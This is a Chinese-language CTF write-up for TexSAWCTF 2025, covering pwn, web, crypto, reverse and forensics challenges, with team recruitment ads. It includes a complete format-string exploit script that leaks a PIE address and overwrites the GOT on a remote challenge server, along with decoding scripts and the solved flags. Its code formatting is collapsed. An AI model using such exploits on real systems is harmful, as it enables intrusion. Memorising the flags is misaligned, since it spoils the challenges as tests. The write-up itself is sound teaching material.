招新小广告CTF组诚招re、crypto、pwn、misc、合约方向的师傅,长期招新IOT+Car+工控+样本分析多个组招人有意向的师傅请联系邮箱 [email protected](带上简历和想加入的小组)
Pwn:
ez printf
第一次fmt泄露pie地址
第二次格式化字符串,打got表为后门函数
from pwn import*defbug(): gdb.attach(p) pause()defs(a): p.send(a)defsa(a,b): p.sendafter(a,b)defsl(a): p.sendline(a)defsla(a,b): p.sendlineafter(a,b)defr(a): p.recv(a)#def pr(a):#print(p.recv(a))defrl(a):return p.recvuntil(a)definter(): p.interactive()defget_addr64():return u64(p.recvuntil("x7f")[-6:].ljust(8,b'x00'))defget_addr32():return u32(p.recvuntil("xf7")[-4:])defget_sb():return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/shx00").__next__()defget_hook():return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')#context(os='linux',arch='i386',log_level='debug') context(os='linux',arch='amd64',log_level='debug')libc=ELF('./libc.so.6')elf=ELF('./vuln')p=remote('74.207.229.59',20221)#p = process('./vuln')sleep(0.2)pay=b"%27$p"#bug()s(pay)sleep(0.2)rl(b'0x')pie_base=int(p.recv(12),16)-0x11B3li(hex(pie_base))puts_plt=pie_base+0x4000li(hex(puts_plt))win=pie_base+0x1189li(hex(win))sleep(0.1)payload=fmtstr_payload(6,{puts_plt:win}) li(hex(len(payload)))s(payload)inter()
Web:
Deprecated Site
robots.txt有一个flaghint.txt
访问flaghint.txt
请求用DELETE请求
Crypto:
who-made-this-anyway
题干中所提到的密码学家Giovan Battista Bellaso提出的多字母替代密码实际上就是我们现在的维吉尼亚密码的前身,题目无秘钥,因此需要对秘钥进行分析,可以利用https://www.guballa.de/vigenere-solver
得到和比赛名字类似的密钥
key-reuse
Many times pad
真sb,纯纯猜。。。
import Crypto.Util.strxor as xofrom Crypto.Util.number import *import libnum, codecs, numpy as npnumber = [32]for i in range(65,91): number.append(i)for i in range(97,123): number.append(i)c = [0x200d1d2014071e152b1c1e022d2615100617112a0804,0x20000035191102062C1016091334110B1703182A020D]c_ = [long_to_bytes(c[0]),long_to_bytes(c[1])]k = b'texsaw{'print(long_to_bytes(bytes_to_long(k)^bytes_to_long(c_[0][:7])^bytes_to_long(c_[1][:7])))for i in range(256): k1 = i^(c_[0][7]) k2 = i^(c_[1][7])if k1 in number and k2 in number: print(i,long_to_bytes(k1),long_to_bytes(k2))print(long_to_bytes(bytes_to_long(b'}')^(c_[0][-1])^(c_[1][-1])))k_ = 3*b'theflag'+b't'print(long_to_bytes(bytes_to_long(k_)^bytes_to_long(c_[0])^bytes_to_long(c_[1])))
Reverse:
xorer
ida打开看到就是一个xor
void __cdecl check_password(char *input){int v1; // eaxunsigned __int8 key[12]; // [esp+Ch] [ebp-1Ch] BYREFint len; // [esp+18h] [ebp-10h]int i; // [esp+1Ch] [ebp-Ch] qmemcpy(key, "藭漾淹桗蒙懧", 6); len = strlen(input);for ( i = 0; i <= 7; ++i ) { v1 = input[i]; LOBYTE(v1) = v1 ^ 0xA5;if ( v1 != key[i] ) {puts("Wrong password!");return; } }printf("Correct! Here's your flag: texsaw{%s}n", input);}
数据提取出来直接异或
texsaw{n0t_th3_fl4g}
Too Early 4 Me
ida打开分析,直接有decode的逻辑,改一下EIP,改到decode函数的地址,直接程序自己输出了
unsigned __int64 decode_flag(){int i; // [rsp+8h] [rbp-118h]unsignedint j; // [rsp+Ch] [rbp-114h]char v3[264]; // [rsp+10h] [rbp-110h]unsigned __int64 v4; // [rsp+118h] [rbp-8h] v4 = __readfsqword(0x28u);for ( i = 0; i <= 255; ++i ) v3[sbox[i]] = i;printf("Decoded flag: ");for ( j = 0; j <= 33; ++j )putchar(v3[encoded_flag[j]]);putchar(10);return v4 - __readfsqword(0x28u);}
texsaw{how_signalicious_much_swag}
ez rev
一道OCaml逆向。
ida打开分析,进入main函数,看到
int __fastcall __noreturn main(int argc, constchar **argv, constchar **envp){ caml_main((char_os **)argv); caml_do_exit(0);}
直接跟进caml_main函数,然后再跟进caml_startup_common函数
这是OCaml运行时系统的启动函数,负责初始化OCaml虚拟机环境,调用初始化OCaml域,解析运行时参数等等。
调用caml_start_program启动OCaml主程序
跟进
javascript__int64 __fastcall caml_start_program(_QWORD *a1){ __int64 v1; // r15 __int64 result; // rax _QWORD v3[2]; // [rsp-28h] [rbp-68h] BYREF __int64 v4; // [rsp-18h] [rbp-58h] __int64 v5; // [rsp-10h] [rbp-50h] __int64 v6; // [rsp-8h] [rbp-48h] v6 = a1[28]; v5 = a1[27]; v4 = a1[26]; v1 = a1[1]; v3[1] = sub_846FF; v3[0] = a1[2]; a1[2] = v3; result = caml_startup__code_begin(); a1[2] = v3[0]; a1[1] = v1; a1[26] = v4; a1[27] = v5; a1[28] = v6;return result;}
这是OCaml运行时系统中启动OCaml主程序的函数,它负责设置执行环境并跳转到OCaml代码的入口点。
跟进caml_startup__code_begin函数
__int64 caml_startup__code_begin(){ camlCamlinternalFormatBasics__entry(); ++caml_globals_inited; camlCamlinternalAtomic__entry(); ++caml_globals_inited; camlStdlib__entry(); ++caml_globals_inited; camlStdlib__Sys__entry(); ++caml_globals_inited; camlStdlib__Obj__entry(); ++caml_globals_inited; camlCamlinternalLazy__entry(); ++caml_globals_inited; camlStdlib__Lazy__entry(); ++caml_globals_inited; camlStdlib__Seq__entry(); ++caml_globals_inited; camlStdlib__Char__entry(); ++caml_globals_inited; camlStdlib__Uchar__entry(); ++caml_globals_inited; camlStdlib__List__entry(); ++caml_globals_inited; camlStdlib__Int__entry(); ++caml_globals_inited; camlStdlib__Bytes__entry(); ++caml_globals_inited; camlStdlib__String__entry(); ++caml_globals_inited; camlStdlib__Buffer__entry(); ++caml_globals_inited; camlCamlinternalFormat__entry(); ++caml_globals_inited; camlStdlib__Printf__entry(); ++caml_globals_inited; camlEasy_rev__entry(); ++caml_globals_inited; camlStd_exit__entry(); ++caml_globals_inited;return 1LL;}
这是OCaml程序启动时的初始化函数,负责初始化OCaml标准库和用户模块的入口点。
**camlEasy_rev__entry()**模块应该就是出题人自定义的模块
void __cdecl camlEasy_rev__entry(){ __int64 v0; // rax __int64 v1; // rax __int64 v2; // rax void (**v3)(void); // rax camlEasy_rev[0] = &camlEasy_rev__10; camlEasy_rev[1] = &camlEasy_rev__20; camlEasy_rev[2] = &camlEasy_rev__30; camlStdlib___40_198(); camlStdlib___40_198(); camlEasy_rev[3] = v0; camlEasy_rev[4] = &camlEasy_rev__38; camlStdlib__List__map_482(); camlEasy_rev[5] = v1; camlStdlib__List__fold_left_521(); camlEasy_rev[6] = v2; camlStdlib__Printf__fprintf_422(); (*v3)();}
**camlStdlib___40_198()的作用是构造链表。然后呢,这里的camlStdlibListfold_left_521()**函数需要修改一下函数声明,然后F5重新反编译一下,
void __cdecl camlEasy_rev__entry(){ __int64 v0; // rsi __int64 v1; // rax __int64 v2; // rax __int64 v3; // rdx __int64 v4; // rax void (**v5)(void); // rax camlEasy_rev[0] = &camlEasy_rev__10; camlEasy_rev[1] = &camlEasy_rev__20; camlEasy_rev[2] = &camlEasy_rev__30; camlStdlib___40_198(); camlStdlib___40_198(); camlEasy_rev[3] = v1; camlEasy_rev[4] = &camlEasy_rev__38; camlStdlib__List__map_482(); camlEasy_rev[5] = v2; camlStdlib__List__fold_left_521(camlEasy_rev[5], v0, v3); camlEasy_rev[6] = v4; camlStdlib__Printf__fprintf_422(); (*v5)();}
然后动调,camlStdlibListfold_left_521函数的第二个参数才是本来的操作
这段应该是实现除法的功能。然后**camlStdlibPrintffprintf_422()**函数就会输出
sum of all flag elements: 2836。
这些就是对应数据,写个脚本抠出来
import idautilsimport idcimport idaapidefget_first_qword(addr):"""读取地址处的第一个 QWORD 值"""return idc.get_qword(addr)defmain(): print("[*] Extracting camlEasy_rev__1 to camlEasy_rev__30 values...") results = []# 遍历符号 camlEasy_rev__1 到 camlEasy_rev__30for i in range(1, 31): # 1~30 symbol_name = f"camlEasy_rev__{i}" symbol_addr = idc.get_name_ea_simple(symbol_name)# 验证符号是否存在if symbol_addr == idaapi.BADADDR: print(f"[!] Symbol {symbol_name} not found!")continue# 读取第一个 QWORD 值(假设链表节点结构为 [QWORD data, QWORD next]) first_qword = get_first_qword(symbol_addr) results.append((symbol_name, first_qword))# 输出结果for name, value in results: print(f"{name}: 0x{value:X}")if __name__ == "__main__": main()
拿到数据,可以开始写爆破脚本了,因为具体不知道出几,然后flag字符的和就是运行程序输出的那个值,2836。但是还有一个问题,就是flag字符的顺序。
分析链表构造函数逻辑可知,采用的是递归反向构造技术,并且将flag平均分成三部分,也可以从节点的指针进行分析
这是一个完整的节点,前半部分是本节点的值,后半部分是指向的下一个节点。如上图就是第十个节点的值是0x289,指向的下一个节点就是第九个节点。
然后我们按顺序处理好数据,然后写个脚本进行求解
enc = [ 0x2B9, 0x25F, 0x2D1, 0x2B3, 0x247, 0x2CB, 0x2E3, 0x247, 0x23B, 0x24D,0x127, 0x2B9, 0x23B, 0x121, 0x265, 0x23B, 0x121, 0x253, 0x139, 0x28F,0x289, 0x23B, 0x2AD, 0x133, 0x2C5, 0x133, 0x2AD, 0x2B3, 0x133, 0x2EF,]for num in range(1, 100): sum = 0for i in enc: sum += i // numif sum == 2836: print("flag: ", end="")for j in enc: print(chr(j // num), end="") print() print(f"divisor: {num}")
flag: texsaw{a_b1t_0f_0c4ml_r3v3rs3}divisor: 6
Babies first ez Python4
下载下来附件是个.txt,打开来看到内容是混淆严重的python字节码
可以先写个脚本进行去除一下
import re# 读取文件内容with open("chal.txt", "r", encoding="utf-8") as f: content = f.read()# 匹配由 a 和 b 组成的、长度不少于 20 的连续串pattern = r"(?:[ab]{20,})"# 找到所有匹配项matches = re.findall(pattern, content)# 用于记录已经替换过的串,防止重复编号seen = {}counter = 1# 替换函数defreplacer(match):global counter m = match.group(0)if m notin seen: label = f"obf_{counter:03d}" seen[m] = label counter += 1return seen[m]# 进行替换new_content = re.sub(pattern, replacer, content)# 将处理后的内容写入新文件with open("cleaned_chal.txt", "w", encoding="utf-8") as f: f.write(new_content)
然后代码前半部分,应该是常量的申明
然后这部分应该是类似于函数头和函数结尾?
再往下就是每个常量,或者说字符的由来
就是根据字符 '_'的长度,减27,然后转成字符,这里可以写哥脚本提出来
import redefextract_from_disassembly(file_path, output_path):with open(file_path, "r", encoding="utf-8") as f: content = f.read()# 匹配每段函数体:Disassembly of <code object obf_XXX ...> 到下一个 Disassembly 或文件末尾 pattern = r'Disassembly of <code object (obf_d{3})[^>]*>:n(.*?)(?=Disassembly of <code object|$)' matches = re.findall(pattern, content, re.DOTALL) results = []for func_name, block_text in matches:# 找到连续 30 个以上下划线 underscores = re.findall(r'_{30,}', block_text)for us in underscores: code = len(us) - 27 char = chr(code) if0 <= code <= 127else'?' results.append(f"{func_name}: {char}")# 保存到文件with open(output_path, "w", encoding="utf-8") as f: f.write('n'.join(results)) print(f"✅ 已保存输出到: {output_path}") print(f"共提取 {len(results)} 个字符。")# 使用if __name__ == "__main__": input_file = "cleaned_chal.txt" output_file = "underscore_ascii.txt" extract_from_disassembly(input_file, output_file)
输出的内容就是每个字符和所对应的变量名(应该称之为变量名吗?)。然后继续分析
如果合在一起就是
e}hCAvT|_I$PBkU&8^*j??UjC-Eu03HQx{9h)fsr@b!MbzaE@000SLOCDM@aZJ3}T^<&soW>K);b46)R^5Q~60j9WLpOKaR?X=B^blpE@}ScQbr&5eC;qC{uDh2&`o8byg;hY8jCT_f{2Y35inputimportbase64b85encodeimportzlibcompressencodecencodeprintcorrect flag!
然后根据那一堆没去混淆的z_zzz_zzz来进行回车分割可以猜测就是调用了**encode()方法,然后还用到了zlib.compress()和base64.b85encode()**,
再往下
就是对密文的加载,根据这里加载的混淆名,可以得到完整的密文,
这里注意不能漏了最后一个'c'
然后梳理完整的流程就是
调用了encode()方法,将字符串转换为字节序列 ->
使用zlib.compress()进行压缩->
使用base64.b85encode()对压缩后的数据进行base85编码->
然后就可以写脚本进行解密了
import base64import zlibencrypted_data = "8*jM&r0}aB{cb^}hOlWbE{pagYKuQ_oH6^DQxQ4`;02JaD5I&@e6u?3o^ET_W@j5`CYBC|5;qT2bSRCjf>@~9hb?U{RhZL&3!EvM?-Sh)8<sPyk)Xb}@sKrpb90=0TjCCCUe0&8`3z;fAOL)^$c"encrypted_data = encrypted_data[::-1]with open('decoded_data.bin', 'wb') as f: decoded_data = base64.b85decode(encrypted_data) f.write(decoded_data) print(f"decoded_data.bin ({len(decoded_data)})")try: decompressed_data = zlib.decompress(decoded_data) print(f"zlib success ({len(decompressed_data)} )")with open('decompressed_data.bin', 'wb') as f: f.write(decompressed_data) print("result: decompressed_data.bin")except zlib.error as e: print(f"zlib failed: {e}")# print(decoded_data.hex()[:100] + '...')
得到flag
texsaw{python_4_will_never_exist_but_if_it_did_it_might_look_like_this_maybe_but_no_one_can_be_for_sure_did_yall_use_chatgpt_for_this?_let_me_know_if_so}
Forensics:
Favorite Flower
其实信息就隐藏在图片里,但肉眼一下很难看出来,拉近ps改一下RGB通道,就能一眼丁真了
Freaky Flower
ps的工程文件,直接拉进ps就能看见
结束
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):TexSAWCTF2025 writeup by Mini-Venom
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论